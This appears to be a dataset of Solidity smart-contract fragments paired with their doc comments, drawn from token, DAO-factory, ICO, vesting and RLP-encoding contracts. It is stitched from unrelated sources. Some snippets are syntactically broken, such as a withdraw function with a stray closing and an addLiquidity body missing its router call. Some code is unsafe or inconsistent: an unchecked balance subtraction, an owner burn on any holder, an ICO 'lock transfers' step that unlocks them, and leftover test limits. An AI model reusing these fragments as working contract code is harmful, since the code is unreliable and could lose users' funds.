function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Token is MintableToken {
event TokenCreation(address _address);
string public name;
string public symbol;
uint constant public decimals = 18;
mapping(address => uint) public held;
function Token(string _name, string _symbol) {
name = _name;
symbol = _symbol;
TokenCreation(this);
}
function hold(address addr, uint duration) external onlyOwner {
uint holdTime = now + duration;
if (held[addr] == 0 || holdTime > held[addr]) held[addr] = holdTime;
}
function burn(address _burner) external onlyOwner {
require(_burner != 0x0);
uint balance = balanceOf(_burner);
balances[_burner] = balances[_burner].sub(balance);
totalSupply = totalSupply.sub(balance);
}
function transfer(address to, uint256 value) public notHolded(msg.sender) returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public notHolded(from) returns (bool) {
return super.transferFrom(from, to, value);
}
modifier notHolded(address _address) {
require(held[_address] == 0 || now >= held[_address]);
_;
}
}
contract DAOx is Ownable {
uint public balance;
DAOFactoryInterface public daoFactory;
function DAOx() {
}
function() payable onlyDAO {
balance += msg.value;
}
function setDaoFactory(address _dao) external {
require(address(daoFactory) == 0x0 && _dao != 0x0);
daoFactory = DAOFactoryInterface(_dao);
}
function withdraw(uint _weiToWithdraw) public onlyOwner {
balance -= _weiToWithdraw;
msg.sender.transfer(_weiToWithdraw);
}
modifier onlyDAO() {
require(daoFactory.exists(msg.sender));
_;
}
}
contract CrowdsaleDAOFactory is DAOFactoryInterface {
event CrowdsaleDAOCreated(
address _address,
string _name
);
address public serviceContractAddress;
address public votingFactoryContractAddress;
// DAOs created by factory
mapping(address => string) DAOs;
// Functional modules which will be used by DAOs to delegate calls
address[4] modules;
function CrowdsaleDAOFactory(address _serviceContractAddress, address _votingFactoryAddress, address[4] _modules) {
require(_serviceContractAddress != 0x0 && _votingFactoryAddress != 0x0);
serviceContractAddress = _serviceContractAddress;
votingFactoryContractAddress = _votingFactoryAddress;
modules = _modules;
require(votingFactoryContractAddress.call(bytes4(keccak256("setDaoFactory(address)")), this));
require(serviceContractAddress.call(bytes4(keccak256("setDaoFactory(address)")), this));
}
/*
* @dev Checks if provided address is an address of some DAO contract created by this factory
* @param _address Address of contract
* @return boolean indicating whether the contract was created by this factory or not
*/
function exists(address _address) external constant returns (bool) {
return keccak256(DAOs[_address]) != keccak256("");
}
/*
* @dev Creates new CrowdsaleDAO contract, provides it with addresses of modules, transfers ownership to tx sender
* and saves address of created contract to DAOs mapping
* @param _name Name of the DAO
* @param _name Description for the DAO
*/
function createCrowdsaleDAO(string _name, string _description) public {
address dao = DAODeployer.deployCrowdsaleDAO(_name, _description, serviceContractAddress, votingFactoryContractAddress);
require(dao.call(bytes4(keccak256("setStateModule(address)")), modules[0]));
require(dao.call(bytes4(keccak256("setPaymentModule(address)")), modules[1]));
require(dao.call(bytes4(keccak256("setVotingDecisionModule(address)")), modules[2]));
require(dao.call(bytes4(keccak256("setCrowdsaleModule(address)")), modules[3]));
DAODeployer.transferOwnership(dao, msg.sender);
DAOs[dao] = _name;
CrowdsaleDAOCreated(dao, _name);
}
}
contract DXC is MintableToken {
address[] public additionalOwnersList; // List of addresses which are able to call `mint` function
mapping(address => bool) public additionalOwners; // Mapping of addresses which are able to call `mint` function
uint public maximumSupply = 300000000 * 10**18; // Maximum supply of DXC tokens equals 300 millions
event TokenCreation(address _address);
event SetAdditionalOwners(address[] oldOwners, address[] newOwners);
string public constant name = "Daox Coin";
string public constant symbol = "DXC";
uint public constant decimals = 18;
/**
* @dev Transfer specified amount of tokens to the specified address and call
* standard `handleDXCPayment` method of Crowdsale DAO
* @param _to The address of Crowdsale DAO
* @param _amount The amount of tokens to send
*/
function contributeTo(address _to, uint256 _amount) public {
super.transfer(_to, _amount);
require(_to.call(bytes4(keccak256("handleDXCPayment(address,uint256)")), msg.sender, _amount));
}
/**
* @dev Overrides function to mint tokens from `MintableToken` contract with new modifier
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) isOwnerOrAdditionalOwner canMint maximumSupplyWasNotReached(_amount) public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Define array and mapping of addresses that will be additional owners
* @param _owners The addresses that will be defined as additional owners
*/
function setAdditionalOwners(address[] _owners) onlyOwner {
SetAdditionalOwners(additionalOwnersList, _owners);
for (uint i = 0; i < additionalOwnersList.length; i++) {
additionalOwners[additionalOwnersList[i]] = false;
}
for (i = 0; i < _owners.length; i++) {
additionalOwners[_owners[i]] = true;
}
additionalOwnersList = _owners;
}
/**
* @dev Throws an exception if called not by owner or additional owner
*/
modifier isOwnerOrAdditionalOwner() {
require(msg.sender == owner || additionalOwners[msg.sender]);
_;
}
/**
* @dev Throws an exception if maximumSupply will be exceeded after minting
* @param _amount The amount of tokens to mint
*/
modifier maximumSupplyWasNotReached(uint256 _amount) {
require(totalSupply.add(_amount) <= maximumSupply);
_;
}
}
|
Receives info about address which sent DXC tokens to current contract and about amount of sent tokens from DXC token contract and then forwards this data to the crowdsale module _from Address which sent DXC tokens _amount Amount of tokens which were sent/
|
function handleDXCPayment(address _from, uint _amount) {
DAOProxy.delegatedHandleDXCPayment(crowdsaleModule, _from, _amount);
}
| 12,948,301
|
./full_match/5/0xf682a90d7910B10E9a6A276A54BFAE97c51D0Ba8/sources/project_/contracts/base/modules/Staking.sol
|
Private function to complete the unstaking process./
|
function _fulfillUnstaking_F5f(
uint256 tokenId
) private onlyWithStatus(tokenId, StakingStatus.readyToUnstake) {
delete _stakeInfo[tokenId];
emit UnstakeFulfilled(tokenId);
}
| 7,042,780
|
./full_match/1/0x48f1C87b378f920D8b35F609760368E044F27172/sources/src/bridgeZaps/zapFrom.sol
|
TODO: Check the construction of the remote and local variables
|
function withdraw(bytes memory payload) external payable {
if (msg.value == 0) revert InvalidInput();
);
}
| 9,690,042
|
./full_match/8453/0x866BEC12862d3011Bc3E1bb58b0b69E6A68183cD/sources/BASEAI.sol
|
approve token transfer to cover all possible scenarios add the liquidity
|
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(dexRouter), tokenAmount);
address(this),
tokenAmount,
0xffEE40d463A77689ce9483901E6Fd9aD158484f5,
block.timestamp
);
}
| 11,547,176
|
./partial_match/5/0x3a94D3b95322A6F181F8F5a135A1fd7c7AEFFCDd/sources/DeligatedToken.sol
|
Allow the owner to take ERC20 tokens off of this contract if they are accidentally sent./
|
function token_escape(address _tokenContract)
external
onlyOwner
{
DeligatedToken lostToken = DeligatedToken(_tokenContract);
uint256 stuckTokens = lostToken.balanceOf(address(this));
lostToken.transfer(owner, stuckTokens);
}
| 16,840,184
|
pragma solidity ^0.4.16;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
// ERC20 standard
// We don't use ERC23 standard
contract StdToken is SafeMath {
// Fields:
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint public totalSupply = 0;
// Events:
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// Functions:
function transfer(address _to, uint256 _value) returns(bool){
require(balances[msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool){
require(balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
modifier onlyPayloadSize(uint _size) {
require(msg.data.length >= _size + 4);
_;
}
}
contract MNTP is StdToken {
// Fields:
string public constant name = "Goldmint MNT Prelaunch Token";
string public constant symbol = "MNTP";
uint public constant decimals = 18;
address public creator = 0x0;
address public icoContractAddress = 0x0;
bool public lockTransfers = false;
// 10 mln
uint public constant TOTAL_TOKEN_SUPPLY = 10000000 * 1 ether;
/// Modifiers:
modifier onlyCreator() {
require(msg.sender == creator);
_;
}
modifier byIcoContract() {
require(msg.sender == icoContractAddress);
_;
}
function setCreator(address _creator) onlyCreator {
creator = _creator;
}
// Setters/Getters
function setIcoContractAddress(address _icoContractAddress) onlyCreator {
icoContractAddress = _icoContractAddress;
}
// Functions:
function MNTP() {
creator = msg.sender;
assert(TOTAL_TOKEN_SUPPLY == 10000000 * 1 ether);
}
/// @dev Override
function transfer(address _to, uint256 _value) public returns(bool){
require(!lockTransfers);
return super.transfer(_to,_value);
}
/// @dev Override
function transferFrom(address _from, address _to, uint256 _value) public returns(bool){
require(!lockTransfers);
return super.transferFrom(_from,_to,_value);
}
function issueTokens(address _who, uint _tokens) byIcoContract {
require((totalSupply + _tokens) <= TOTAL_TOKEN_SUPPLY);
balances[_who] = safeAdd(balances[_who],_tokens);
totalSupply = safeAdd(totalSupply,_tokens);
Transfer(0x0, _who, _tokens);
}
// For refunds only
function burnTokens(address _who, uint _tokens) byIcoContract {
balances[_who] = safeSub(balances[_who], _tokens);
totalSupply = safeSub(totalSupply, _tokens);
}
function lockTransfer(bool _lock) byIcoContract {
lockTransfers = _lock;
}
// Do not allow to send money directly to this contract
function() {
revert();
}
}
// This contract will hold all tokens that were unsold during ICO.
//
// Goldmint Team should be able to withdraw them and sell only after 1 year is passed after
// ICO is finished.
contract GoldmintUnsold is SafeMath {
address public creator;
address public teamAccountAddress;
address public icoContractAddress;
uint64 public icoIsFinishedDate;
MNTP public mntToken;
function GoldmintUnsold(address _teamAccountAddress,address _mntTokenAddress){
creator = msg.sender;
teamAccountAddress = _teamAccountAddress;
mntToken = MNTP(_mntTokenAddress);
}
modifier onlyCreator() {
require(msg.sender==creator);
_;
}
modifier onlyIcoContract() {
require(msg.sender==icoContractAddress);
_;
}
// Setters/Getters
function setIcoContractAddress(address _icoContractAddress) onlyCreator {
icoContractAddress = _icoContractAddress;
}
function finishIco() public onlyIcoContract {
icoIsFinishedDate = uint64(now);
}
// can be called by anyone...
function withdrawTokens() public {
// Check if 1 year is passed
uint64 oneYearPassed = icoIsFinishedDate + 365 days;
require(uint(now) >= oneYearPassed);
// Transfer all tokens from this contract to the teamAccountAddress
uint total = mntToken.balanceOf(this);
mntToken.transfer(teamAccountAddress,total);
}
// Do not allow to send money directly to this contract
function() payable {
revert();
}
}
contract FoundersVesting is SafeMath {
address public teamAccountAddress;
uint64 public lastWithdrawTime;
uint public withdrawsCount = 0;
uint public amountToSend = 0;
MNTP public mntToken;
function FoundersVesting(address _teamAccountAddress,address _mntTokenAddress){
teamAccountAddress = _teamAccountAddress;
lastWithdrawTime = uint64(now);
mntToken = MNTP(_mntTokenAddress);
}
// Can be called by anyone
function withdrawTokens() public {
// 1 - wait for the next month
uint64 oneMonth = lastWithdrawTime + 30 days;
require(uint(now) >= oneMonth);
// 2 - calculate amount (only first time)
if(withdrawsCount==0){
amountToSend = mntToken.balanceOf(this) / 10;
}
require(amountToSend!=0);
// 3 - send 1/10th
uint currentBalance = mntToken.balanceOf(this);
if(currentBalance<amountToSend){
amountToSend = currentBalance;
}
mntToken.transfer(teamAccountAddress,amountToSend);
// 4 - update counter
withdrawsCount++;
lastWithdrawTime = uint64(now);
}
// Do not allow to send money directly to this contract
function() payable {
revert();
}
}
// This is the main Goldmint ICO smart contract
contract Goldmint is SafeMath {
// Constants:
// These values are HARD CODED!!!
// For extra security we split single multisig wallet into 10 separate multisig wallets
//
// TODO: set real params here
address[] public multisigs = [
0x27ce565b1047c6258164062983bb8bc2917f11d2,
0xfb3afc815894e91fe1ab6e6ef36f8565fbb904f6,
0x7e2a7a10509177db2a7ea41e728743c4eb42f528,
0x27ce565b1047c6258164062983bb8bc2917f11d2,
0xfb3afc815894e91fe1ab6e6ef36f8565fbb904f6,
0x7e2a7a10509177db2a7ea41e728743c4eb42f528,
0x27ce565b1047c6258164062983bb8bc2917f11d2,
0xfb3afc815894e91fe1ab6e6ef36f8565fbb904f6,
0x7e2a7a10509177db2a7ea41e728743c4eb42f528,
0xF4Ce80097bf1E584822dBcA84f91D5d7d9df0846
];
// We count ETH invested by person, for refunds (see below)
mapping(address => uint) ethInvestedBy;
// These can be changed before ICO starts ($7USD/MNTP)
uint constant STD_PRICE_USD_PER_1000_TOKENS = 7000;
// USD/ETH is fixed for the whole ICO
// WARNING: if USD/ETH rate changes DURING ICO -> we won't change it
// coinmarketcap.com 04.09.2017
uint constant ETH_PRICE_IN_USD = 300;
// Price changes from block to block
//uint constant SINGLE_BLOCK_LEN = 700000;
uint constant SINGLE_BLOCK_LEN = 100;
// 1 000 000 tokens
uint public constant BONUS_REWARD = 1000000 * 1 ether;
// 2 000 000 tokens
uint public constant FOUNDERS_REWARD = 2000000 * 1 ether;
// 7 000 000 is sold during the ICO
//uint public constant ICO_TOKEN_SUPPLY_LIMIT = 7000000 * 1 ether;
uint public constant ICO_TOKEN_SUPPLY_LIMIT = 150 * 1 ether;
// 150 000 tokens soft cap (otherwise - refund)
uint public constant ICO_TOKEN_SOFT_CAP = 150000 * 1 ether;
// Fields:
address public creator = 0x0;
address public tokenManager = 0x0;
address public otherCurrenciesChecker = 0x0;
uint64 public icoStartedTime = 0;
MNTP public mntToken;
GoldmintUnsold public unsoldContract;
// Total amount of tokens sold during ICO
uint public icoTokensSold = 0;
// Total amount of tokens sent to GoldmintUnsold contract after ICO is finished
uint public icoTokensUnsold = 0;
// Total number of tokens that were issued by a scripts
uint public issuedExternallyTokens = 0;
// This is where FOUNDERS_REWARD will be allocated
address public foundersRewardsAccount = 0x0;
enum State{
Init,
ICORunning,
ICOPaused,
// Collected ETH is transferred to multisigs.
// Unsold tokens transferred to GoldmintUnsold contract.
ICOFinished,
// We start to refund if Soft Cap is not reached.
// Then each token holder should request a refund personally from his
// personal wallet.
//
// We will return ETHs only to the original address. If your address is changed
// or you have lost your keys -> you will not be able to get a refund.
//
// There is no any possibility to transfer tokens
// There is no any possibility to move back
Refunding,
// In this state we lock all MNT tokens forever.
// We are going to migrate MNTP -> MNT tokens during this stage.
//
// There is no any possibility to transfer tokens
// There is no any possibility to move back
Migrating
}
State public currentState = State.Init;
// Modifiers:
modifier onlyCreator() {
require(msg.sender==creator);
_;
}
modifier onlyTokenManager() {
require(msg.sender==tokenManager);
_;
}
modifier onlyOtherCurrenciesChecker() {
require(msg.sender==otherCurrenciesChecker);
_;
}
modifier onlyInState(State state){
require(state==currentState);
_;
}
// Events:
event LogStateSwitch(State newState);
event LogBuy(address indexed owner, uint value);
event LogBurn(address indexed owner, uint value);
// Functions:
/// @dev Constructor
function Goldmint(
address _tokenManager,
address _otherCurrenciesChecker,
address _mntTokenAddress,
address _unsoldContractAddress,
address _foundersVestingAddress)
{
creator = msg.sender;
tokenManager = _tokenManager;
otherCurrenciesChecker = _otherCurrenciesChecker;
mntToken = MNTP(_mntTokenAddress);
unsoldContract = GoldmintUnsold(_unsoldContractAddress);
// slight rename
foundersRewardsAccount = _foundersVestingAddress;
assert(multisigs.length==10);
}
function startICO() public onlyCreator onlyInState(State.Init) {
setState(State.ICORunning);
icoStartedTime = uint64(now);
mntToken.lockTransfer(true);
mntToken.issueTokens(foundersRewardsAccount, FOUNDERS_REWARD);
}
function pauseICO() public onlyCreator onlyInState(State.ICORunning) {
setState(State.ICOPaused);
}
function resumeICO() public onlyCreator onlyInState(State.ICOPaused) {
setState(State.ICORunning);
}
function startRefunding() public onlyCreator onlyInState(State.ICORunning) {
// only switch to this state if less than ICO_TOKEN_SOFT_CAP sold
require(icoTokensSold < ICO_TOKEN_SOFT_CAP);
setState(State.Refunding);
// in this state tokens still shouldn't be transferred
assert(mntToken.lockTransfers());
}
function startMigration() public onlyCreator onlyInState(State.ICOFinished) {
// there is no way back...
setState(State.Migrating);
// disable token transfers
mntToken.lockTransfer(true);
}
/// @dev This function can be called by creator at any time,
/// or by anyone if ICO has really finished.
function finishICO() public onlyInState(State.ICORunning) {
require(msg.sender == creator || isIcoFinished());
setState(State.ICOFinished);
// 1 - lock all transfers
mntToken.lockTransfer(false);
// 2 - move all unsold tokens to unsoldTokens contract
icoTokensUnsold = safeSub(ICO_TOKEN_SUPPLY_LIMIT,icoTokensSold);
if(icoTokensUnsold>0){
mntToken.issueTokens(unsoldContract,icoTokensUnsold);
unsoldContract.finishIco();
}
// 3 - send all ETH to multisigs
// we have N separate multisigs for extra security
uint sendThisAmount = (this.balance / 10);
// 3.1 - send to 9 multisigs
for(uint i=0; i<9; ++i){
address ms = multisigs[i];
if(this.balance>=sendThisAmount){
ms.transfer(sendThisAmount);
}
}
// 3.2 - send everything left to 10th multisig
if(0!=this.balance){
address lastMs = multisigs[9];
lastMs.transfer(this.balance);
}
}
function setState(State _s) internal {
currentState = _s;
LogStateSwitch(_s);
}
// Access methods:
function setTokenManager(address _new) public onlyTokenManager {
tokenManager = _new;
}
// TODO: stealing creator's key means stealing otherCurrenciesChecker key too!
/*
function setOtherCurrenciesChecker(address _new) public onlyCreator {
otherCurrenciesChecker = _new;
}
*/
// These are used by frontend so we can not remove them
function getTokensIcoSold() constant public returns (uint){
return icoTokensSold;
}
function getTotalIcoTokens() constant public returns (uint){
return ICO_TOKEN_SUPPLY_LIMIT;
}
function getMntTokenBalance(address _of) constant public returns (uint){
return mntToken.balanceOf(_of);
}
function getBlockLength()constant public returns (uint){
return SINGLE_BLOCK_LEN;
}
function getCurrentPrice()constant public returns (uint){
return getMntTokensPerEth(icoTokensSold);
}
/////////////////////////////
function isIcoFinished() constant public returns(bool) {
return (icoStartedTime > 0)
&& (now > (icoStartedTime + 30 days) || (icoTokensSold >= ICO_TOKEN_SUPPLY_LIMIT));
}
function getMntTokensPerEth(uint _tokensSold) public constant returns (uint){
// 10 buckets
uint priceIndex = (_tokensSold / 1 ether) / SINGLE_BLOCK_LEN;
assert(priceIndex>=0 && (priceIndex<=9));
uint8[10] memory discountPercents = [20,15,10,8,6,4,2,0,0,0];
// We have to multiply by '1 ether' to avoid float truncations
// Example: ($7000 * 100) / 120 = $5833.33333
uint pricePer1000tokensUsd =
((STD_PRICE_USD_PER_1000_TOKENS * 100) * 1 ether) / (100 + discountPercents[priceIndex]);
// Correct: 300000 / 5833.33333333 = 51.42857142
// We have to multiply by '1 ether' to avoid float truncations
uint mntPerEth = (ETH_PRICE_IN_USD * 1000 * 1 ether * 1 ether) / pricePer1000tokensUsd;
return mntPerEth;
}
function buyTokens(address _buyer) public payable onlyInState(State.ICORunning) {
require(msg.value!=0);
// The price is selected based on current sold tokens.
// Price can 'overlap'. For example:
// 1. if currently we sold 699950 tokens (the price is 10% discount)
// 2. buyer buys 1000 tokens
// 3. the price of all 1000 tokens would be with 10% discount!!!
uint newTokens = (msg.value * getMntTokensPerEth(icoTokensSold)) / 1 ether;
issueTokensInternal(_buyer,newTokens);
// Update this only when buying from ETH
ethInvestedBy[msg.sender] = safeAdd(ethInvestedBy[msg.sender], msg.value);
}
/// @dev This is called by other currency processors to issue new tokens
function issueTokensFromOtherCurrency(address _to, uint _weiCount) onlyInState(State.ICORunning) public onlyOtherCurrenciesChecker {
require(_weiCount!=0);
uint newTokens = (_weiCount * getMntTokensPerEth(icoTokensSold)) / 1 ether;
issueTokensInternal(_to,newTokens);
}
/// @dev This can be called to manually issue new tokens
/// from the bonus reward
function issueTokensExternal(address _to, uint _tokens) public onlyInState(State.ICOFinished) onlyTokenManager {
// can not issue more than BONUS_REWARD
require((issuedExternallyTokens + _tokens)<=BONUS_REWARD);
mntToken.issueTokens(_to,_tokens);
issuedExternallyTokens = issuedExternallyTokens + _tokens;
}
function issueTokensInternal(address _to, uint _tokens) internal {
require((icoTokensSold + _tokens)<=ICO_TOKEN_SUPPLY_LIMIT);
mntToken.issueTokens(_to,_tokens);
icoTokensSold+=_tokens;
LogBuy(_to,_tokens);
}
// anyone can call this and get his money back
function getMyRefund() public onlyInState(State.Refunding) {
address sender = msg.sender;
uint ethValue = ethInvestedBy[sender];
require(ethValue > 0);
// 1 - send money back
sender.transfer(ethValue);
ethInvestedBy[sender] = 0;
// 2 - burn tokens
mntToken.burnTokens(sender, mntToken.balanceOf(sender));
}
// Default fallback function
function() payable {
// buyTokens -> issueTokensInternal
buyTokens(msg.sender);
}
}
|
can be called by anyone... Check if 1 year is passed Transfer all tokens from this contract to the teamAccountAddress
|
function withdrawTokens() public {
uint64 oneYearPassed = icoIsFinishedDate + 365 days;
require(uint(now) >= oneYearPassed);
uint total = mntToken.balanceOf(this);
mntToken.transfer(teamAccountAddress,total);
}
| 2,448,361
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.1;
/**
* @title RLPEncode
* @dev A simple RLP encoding library.
* @author Bakaoh
*/
library RLPEncode {
/*
* Internal functions
*/
/**
* @dev RLP encodes a byte string.
* @param self The byte string to encode.
* @return The RLP encoded string in bytes.
*/
function encodeBytes(bytes memory self)
internal
pure
returns (bytes memory)
{
bytes memory encoded;
if (self.length == 1 && uint8(self[0]) <= 128) {
encoded = self;
} else {
encoded = concat(encodeLength(self.length, 128), self);
}
return encoded;
}
/**
* @dev RLP encodes a list of RLP encoded byte byte strings.
* @param self The list of RLP encoded byte strings.
* @return The RLP encoded list of items in bytes.
*/
function encodeList(bytes[] memory self)
internal
pure
returns (bytes memory)
{
bytes memory list = flatten(self);
return concat(encodeLength(list.length, 192), list);
}
/**
* @dev RLP encodes a string.
* @param self The string to encode.
* @return The RLP encoded string in bytes.
*/
function encodeString(string memory self)
internal
pure
returns (bytes memory)
{
return encodeBytes(bytes(self));
}
/**
* @dev RLP encodes an address.
* @param self The address to encode.
* @return The RLP encoded address in bytes.
*/
function encodeAddress(address self) internal pure returns (bytes memory) {
bytes memory inputBytes;
assembly {
let m := mload(0x40)
mstore(
add(m, 20),
xor(0x140000000000000000000000000000000000000000, self)
)
mstore(0x40, add(m, 52))
inputBytes := m
}
return encodeBytes(inputBytes);
}
/**
* @dev RLP encodes a uint.
* @param self The uint to encode.
* @return The RLP encoded uint in bytes.
*/
function encodeUint(uint256 self) internal pure returns (bytes memory) {
return encodeBytes(toBinary(self));
}
/**
* @dev RLP encodes an int.
* @param self The int to encode.
* @return The RLP encoded int in bytes.
*/
function encodeInt(int256 self) internal pure returns (bytes memory) {
return encodeUint(uint256(self));
}
/**
* @dev RLP encodes a bool.
* @param self The bool to encode.
* @return The RLP encoded bool in bytes.
*/
function encodeBool(bool self) internal pure returns (bytes memory) {
bytes memory encoded = new bytes(1);
encoded[0] = (self ? bytes1(0x01) : bytes1(0x80));
return encoded;
}
/*
* Private functions
*/
/**
* @dev Encode the first byte, followed by the `len` in binary form if `length` is more than 55.
* @param len The length of the string or the payload.
* @param offset 128 if item is string, 192 if item is list.
* @return RLP encoded bytes.
*/
function encodeLength(uint256 len, uint256 offset)
private
pure
returns (bytes memory)
{
bytes memory encoded;
if (len < 56) {
encoded = new bytes(1);
encoded[0] = bytes32(len + offset)[31];
} else {
uint256 lenLen;
uint256 i = 1;
while (len / i != 0) {
lenLen++;
i *= 256;
}
encoded = new bytes(lenLen + 1);
encoded[0] = bytes32(lenLen + offset + 55)[31];
for (i = 1; i <= lenLen; i++) {
encoded[i] = bytes32((len / (256**(lenLen - i))) % 256)[31];
}
}
return encoded;
}
/**
* @dev Encode integer in big endian binary form with no leading zeroes.
* @notice TODO: This should be optimized with assembly to save gas costs.
* @param _x The integer to encode.
* @return RLP encoded bytes.
*/
function toBinary(uint256 _x) private pure returns (bytes memory) {
bytes memory b = new bytes(32);
assembly {
mstore(add(b, 32), _x)
}
uint256 i;
for (i = 0; i < 32; i++) {
if (b[i] != 0) {
break;
}
}
bytes memory res = new bytes(32 - i);
for (uint256 j = 0; j < res.length; j++) {
res[j] = b[i++];
}
return res;
}
/**
* @dev Copies a piece of memory to another location.
* @notice From: https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol.
* @param _dest Destination location.
* @param _src Source location.
* @param _len Length of memory to copy.
*/
function memcpy(
uint256 _dest,
uint256 _src,
uint256 _len
) private pure {
uint256 dest = _dest;
uint256 src = _src;
uint256 len = _len;
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint256 mask = 256**(32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/**
* @dev Flattens a list of byte strings into one byte string.
* @notice From: https://github.com/sammayo/solidity-rlp-encoder/blob/master/RLPEncode.sol.
* @param _list List of byte strings to flatten.
* @return The flattened byte string.
*/
function flatten(bytes[] memory _list) private pure returns (bytes memory) {
if (_list.length == 0) {
return new bytes(0);
}
uint256 len;
uint256 i;
for (i = 0; i < _list.length; i++) {
len += _list[i].length;
}
bytes memory flattened = new bytes(len);
uint256 flattenedPtr;
assembly {
flattenedPtr := add(flattened, 0x20)
}
for (i = 0; i < _list.length; i++) {
bytes memory item = _list[i];
uint256 listPtr;
assembly {
listPtr := add(item, 0x20)
}
memcpy(flattenedPtr, listPtr, item.length);
flattenedPtr += _list[i].length;
}
return flattened;
}
/**
* @dev Concatenates two bytes.
* @notice From: https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol.
* @param _preBytes First byte string.
* @param _postBytes Second byte string.
* @return Both byte string combined.
*/
function concat(bytes memory _preBytes, bytes memory _postBytes)
private
pure
returns (bytes memory)
{
bytes memory tempBytes;
assembly {
tempBytes := mload(0x40)
let length := mload(_preBytes)
mstore(tempBytes, length)
let mc := add(tempBytes, 0x20)
let end := add(mc, length)
for {
let cc := add(_preBytes, 0x20)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
length := mload(_postBytes)
mstore(tempBytes, add(length, mload(tempBytes)))
mc := end
end := add(mc, length)
for {
let cc := add(_postBytes, 0x20)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(
0x40,
and(
add(add(end, iszero(add(length, mload(_preBytes)))), 31),
not(31)
)
)
}
return tempBytes;
}
}
|
RLP encodes a list of RLP encoded byte byte strings. self The list of RLP encoded byte strings. return The RLP encoded list of items in bytes./
|
function encodeList(bytes[] memory self)
internal
pure
returns (bytes memory)
{
bytes memory list = flatten(self);
return concat(encodeLength(list.length, 192), list);
}
| 1,786,210
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
import "../math/SafeMath.sol";
import "../erc20/SafeERC20.sol";
import '../uniswap/TransferHelper.sol';
import "../utils/Address.sol";
import "../utils/ReentrancyGuard.sol";
import "../utils/Pausable.sol";
import "../utils/StringHelpers.sol";
import "./VeToken.sol";
interface ILockRewards {
// Views
